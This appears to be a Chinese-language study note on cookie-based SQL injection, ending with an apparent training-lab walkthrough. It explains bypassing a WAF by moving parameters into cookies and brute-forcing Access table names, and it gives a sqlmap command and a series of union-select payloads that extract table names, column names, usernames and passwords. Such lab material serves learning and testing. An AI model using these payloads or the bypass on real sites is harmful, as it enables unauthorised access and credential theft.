Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登录管理员账号
在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
很多时候开发在开发的时候为了考虑到多种接受传参,在接受传参的时候都是用多种解释传参的方式
例如:
php中的 $_request[]可以获取POST|GET|COOKIE传参
注意:PHP5.4以上版本就不会接受Cookie传参了
如果说开发用了$_request[]来解释参数,然后我们的POST和GET传参被WAF拦截了,那么也许WAF没有对Cookie进行检测,我们尝试用Cookie进行传参,有可能会达到绕过的目的。
用Javascript设置,打开F12开发者工具,选择Console,输入Js的语句就可以了
document.cookie="id="+escape("1")
通过浏览器Document.Cookie来设置Cookie
Cookie名字为id escape是一个编码函数,这个函数会进行一次url编码
access数据库没有系统自带表,而且access数据库只有一个数据库,不用纠结库名,那怎么获取access数据库的表名和字段名呢,只有一个方法就是爆破
access数据库在进行显错位判断的时候,必须写完整的SQL语句
账号密码一般在盛行access数据库的年代,都在admin表的username和password字段中
注意点:COOKIE注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参
union select 1,2,3,4,5,6,7,8,9,10 from admin
问:如果不知道库名怎么办?
答:就一个库,没必要知道
问:如果不知道表名怎么办?
答:只能靠爆破,and exists(select * from xxx) 如果页面正常就是存在这个XXX表 exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True
问:sqlmap如何跑Cookie注入
答:sqlmap.py -u 'http://xx.xx.xx.xx:8080/xxx.asp' --cookie "id=123" --level 2
这一关的注入方式是cookie注入,所有语句与之前一样
测试以下语句,发现存在单引号闭合,存在cookie注入漏洞
admin and 1=1
admin and 1=2
admin or 1=1
admin' and 1=1 --+
发现字段数为3
admin ' order by 3 --+
-1' union select 1,2,3 --+
-1' union select 1,2,database() --+
-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --+
-1' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' --+
-1' union select 1,2,id,username,password from users --+